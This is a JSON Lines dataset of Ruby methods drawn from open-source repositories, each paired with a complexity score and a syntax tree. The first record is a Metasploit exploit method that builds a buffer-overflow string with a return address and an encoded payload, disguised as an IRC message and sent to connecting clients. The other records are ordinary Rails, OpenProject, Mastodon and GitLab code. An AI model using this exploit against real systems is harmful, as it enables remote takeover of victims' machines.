{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/talkative_response.rb","start_line":67,"raw_source":"def on_client_data(client)\n    return unless regenerate_payload(client)\n\n    sploit = \":\" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)\n    sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded\n    sploit << \" PRIVMSG \" + rand_text_alpha(rand(10) + 1)\n    sploit << \" : /FINGER \" + rand_text_alpha(rand(10) + 1) + \".\\r\\n\"\n\n    client.put(sploit)\n\n    handler\n    service.close_client(client)\n  end","complexity_score":44.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[272]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"X86\"]},\"jmp_short\",{\"type\":\"int\",\"children\":[6]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[2]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" PRIVMSG \"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" : /FINGER \"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"close_client\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]}","id":"cfcccd5a-7842-4127-bfd3-634645f5262e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_saml/app/models/saml/provider/hash_builder.rb","start_line":21,"raw_source":"def formatted_request_attributes\n      [\n        { name: requested_login_attribute, name_format: requested_login_format, friendly_name: \"Login\" },\n        { name: requested_mail_attribute, name_format: requested_mail_format, friendly_name: \"Email\" },\n        { name: requested_firstname_attribute, name_format: requested_firstname_format, friendly_name: \"First Name\" },\n        { name: requested_lastname_attribute, name_format: requested_lastname_format, friendly_name: \"Last Name\" }\n      ]\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_request_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"requested_login_attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_format\"]},{\"type\":\"send\",\"children\":[null,\"requested_login_format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"friendly_name\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"requested_mail_attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_format\"]},{\"type\":\"send\",\"children\":[null,\"requested_mail_format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"friendly_name\"]},{\"type\":\"str\",\"children\":[\"Email\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"requested_firstname_attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_format\"]},{\"type\":\"send\",\"children\":[null,\"requested_firstname_format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"friendly_name\"]},{\"type\":\"str\",\"children\":[\"First Name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"requested_lastname_attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_format\"]},{\"type\":\"send\",\"children\":[null,\"requested_lastname_format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"friendly_name\"]},{\"type\":\"str\",\"children\":[\"Last Name\"]}]}]}]}]}","id":"4da9d4e6-deba-4d41-8348-b36faad19fef"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":438,"raw_source":"def default_env\n        if default_url_options != @default_env&.[](\"action_dispatch.routes.default_url_options\")\n          url_options = default_url_options.dup.freeze\n          uri = URI(ActionDispatch::Http::URL.full_url_for(host: \"example.org\", **url_options))\n\n          @default_env = {\n            \"action_dispatch.routes\" => self,\n            \"action_dispatch.routes.default_url_options\" => url_options,\n            \"HTTPS\" => uri.scheme == \"https\" ? \"on\" : \"off\",\n            \"rack.url_scheme\" => uri.scheme,\n            \"HTTP_HOST\" => uri.port == uri.default_port ? uri.host : \"#{uri.host}:#{uri.port}\",\n            \"SCRIPT_NAME\" => uri.path.chomp(\"/\"),\n            \"rack.input\" => \"\",\n          }.freeze\n        end\n\n        @default_env\n      end","complexity_score":35.3,"ast_json":"{\"type\":\"def\",\"children\":[\"default_env\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_url_options\"]},\"!=\",{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@default_env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.routes.default_url_options\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url_options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_url_options\"]},\"dup\"]},\"freeze\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Http\"]},\"URL\"]},\"full_url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"example.org\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_options\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_env\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_dispatch.routes\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_dispatch.routes.default_url_options\"]},{\"type\":\"lvar\",\"children\":[\"url_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTPS\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"str\",\"children\":[\"on\"]},{\"type\":\"str\",\"children\":[\"off\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rack.url_scheme\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"default_port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SCRIPT_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rack.input\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"freeze\"]}]}]},null]},{\"type\":\"ivar\",\"children\":[\"@default_env\"]}]}]}","id":"bdc8c3f8-9d1d-4b65-bf43-f87b8205115b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages_controller.rb","start_line":143,"raw_source":"def export_list(mime_type)\n    save_export_settings if params[:save_export_settings]&.to_bool\n\n    job_id = WorkPackages::Exports::ScheduleService\n               .new(user: current_user)\n               .call(query: @query, mime_type:, params:)\n               .result\n\n    if request.headers[\"Accept\"]&.include?(\"application/json\")\n      render json: { job_id: }\n    else\n      redirect_to job_status_path(job_id)\n    end\n  end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"export_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mime_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"save_export_settings\"]}]},\"to_bool\"]},{\"type\":\"send\",\"children\":[null,\"save_export_settings\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"job_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Exports\"]},\"ScheduleService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"ivar\",\"children\":[\"@query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"lvar\",\"children\":[\"mime_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]},\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Accept\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_id\"]},{\"type\":\"lvar\",\"children\":[\"job_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"job_status_path\",{\"type\":\"lvar\",\"children\":[\"job_id\"]}]}]}]}]}]}","id":"25156f04-5834-41ea-9ee0-2a2c03c0e066"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/request/session_test.rb","start_line":59,"raw_source":"def test_keys\n        s = Session.create(store, req, {})\n        s[\"rails\"] = \"ftw\"\n        s[\"adequate\"] = \"awesome\"\n        assert_equal %w[rails adequate], s.keys\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Session\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"store\"]},{\"type\":\"send\",\"children\":[null,\"req\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"rails\"]},{\"type\":\"str\",\"children\":[\"ftw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"adequate\"]},{\"type\":\"str\",\"children\":[\"awesome\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rails\"]},{\"type\":\"str\",\"children\":[\"adequate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"keys\"]}]}]}]}","id":"f96143fb-a29b-43eb-987f-e2b4220b55ba"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/db/migrate/20240612152451_create_exports.rb","start_line":4,"raw_source":"def change\n    create_table :exports do |t|\n      t.string :name, null: false\n      t.string :url\n      t.integer :status, default: 0, null: false\n      t.bigint :user_id, null: false\n\n      t.timestamps\n    end\n    add_index :exports, :status\n    add_index :exports, :user_id\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"exports\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"exports\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"exports\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}","id":"1d533703-b463-454c-9168-f940c1bd7249"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/merge_worker.rb","start_line":25,"raw_source":"def merge_into_home!(into_account_id)\n    with_primary do\n      @into_account = Account.find(into_account_id)\n    end\n\n    with_read_replica do\n      FeedManager.instance.merge_into_home(@from_account, @into_account)\n    end\n  ensure\n    HomeFeed.new(@into_account).regeneration_finished!\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_into_home!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"into_account_id\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_primary\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@into_account\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"into_account_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_read_replica\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedManager\"]},\"instance\"]},\"merge_into_home\",{\"type\":\"ivar\",\"children\":[\"@from_account\"]},{\"type\":\"ivar\",\"children\":[\"@into_account\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HomeFeed\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@into_account\"]}]},\"regeneration_finished!\"]}]}]}","id":"26f0a247-7c7b-46ef-851b-a27137b96e5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/components/instance_path.rb","start_line":106,"raw_source":"def sha_by_released_tag\n          project.releases.find_by_tag(reference)&.sha\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sha_by_released_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"releases\"]},\"find_by_tag\",{\"type\":\"send\",\"children\":[null,\"reference\"]}]},\"sha\"]}]}","id":"812f38b3-3ea5-4dc6-b7aa-f01e968e4115"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/group_users_query.rb","start_line":52,"raw_source":"def handle_response(response)\n              error = Results::Error.new(source: self.class, payload: response)\n\n              case response\n              in { status: 200..299 }\n                handle_success_response(response, error)\n              in { status: 405 }\n                Failure(error.with(code: :not_allowed))\n              in { status: 401 }\n                Failure(error.with(code: :unauthorized))\n              in { status: 404 }\n                Failure(error.with(code: :not_found))\n              in { status: 409 }\n                Failure(error.with(code: :conflict))\n              else\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":18.95,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"handle_success_response\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[405]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_allowed\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[409]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"conflict\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"2e29ef0e-1a7c-4de4-b8c3-29f738705efc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/reloader_test.rb","start_line":74,"raw_source":"def test_class_unload_block\n    called = []\n    reloader.before_class_unload { called << :before_unload }\n    reloader.after_class_unload { called << :after_unload }\n    reloader.to_run do\n      class_unload! do\n        called << :unload\n      end\n    end\n    reloader.wrap { called << :body }\n\n    assert_equal [:before_unload, :unload, :after_unload, :body], called\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_class_unload_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reloader\"]},\"before_class_unload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"before_unload\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reloader\"]},\"after_class_unload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"after_unload\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reloader\"]},\"to_run\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_unload!\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"unload\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reloader\"]},\"wrap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_unload\"]},{\"type\":\"sym\",\"children\":[\"unload\"]},{\"type\":\"sym\",\"children\":[\"after_unload\"]},{\"type\":\"sym\",\"children\":[\"body\"]}]},{\"type\":\"lvar\",\"children\":[\"called\"]}]}]}]}","id":"c056d52d-5fc5-431d-bd6e-4062615cfffb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/hourly_rate.rb","start_line":47,"raw_source":"def self.history_for_user(usr)\n    projects_with_costs = Project.has_module(:costs)\n                                        .active\n                                        .visible\n                                        .order(:name)\n\n    permitted_projects = Project.has_module(:costs)\n                                .active\n                                .allowed_to(User.current, :view_hourly_rates)\n\n    rates_by_project = HourlyRate.where(user_id: usr, project_id: permitted_projects)\n                                 .includes(:project)\n                                 .order(\"#{HourlyRate.table_name}.valid_from desc\")\n                                 .group_by(&:project)\n\n    rates = {}\n\n    projects_with_costs.each do |project|\n      rates[project] = rates_by_project.fetch(project, [])\n    end\n\n    # FIXME: What permissions to apply here?\n    rates[nil] = DefaultHourlyRate\n                   .where(user_id: usr)\n                   .order(\"#{DefaultHourlyRate.table_name}.valid_from desc\")\n\n    rates\n  end","complexity_score":30.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"history_for_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"usr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects_with_costs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"has_module\",{\"type\":\"sym\",\"children\":[\"costs\"]}]},\"active\"]},\"visible\"]},\"order\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"permitted_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"has_module\",{\"type\":\"sym\",\"children\":[\"costs\"]}]},\"active\"]},\"allowed_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},{\"type\":\"sym\",\"children\":[\"view_hourly_rates\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rates_by_project\",{\"type\":\"send\",\"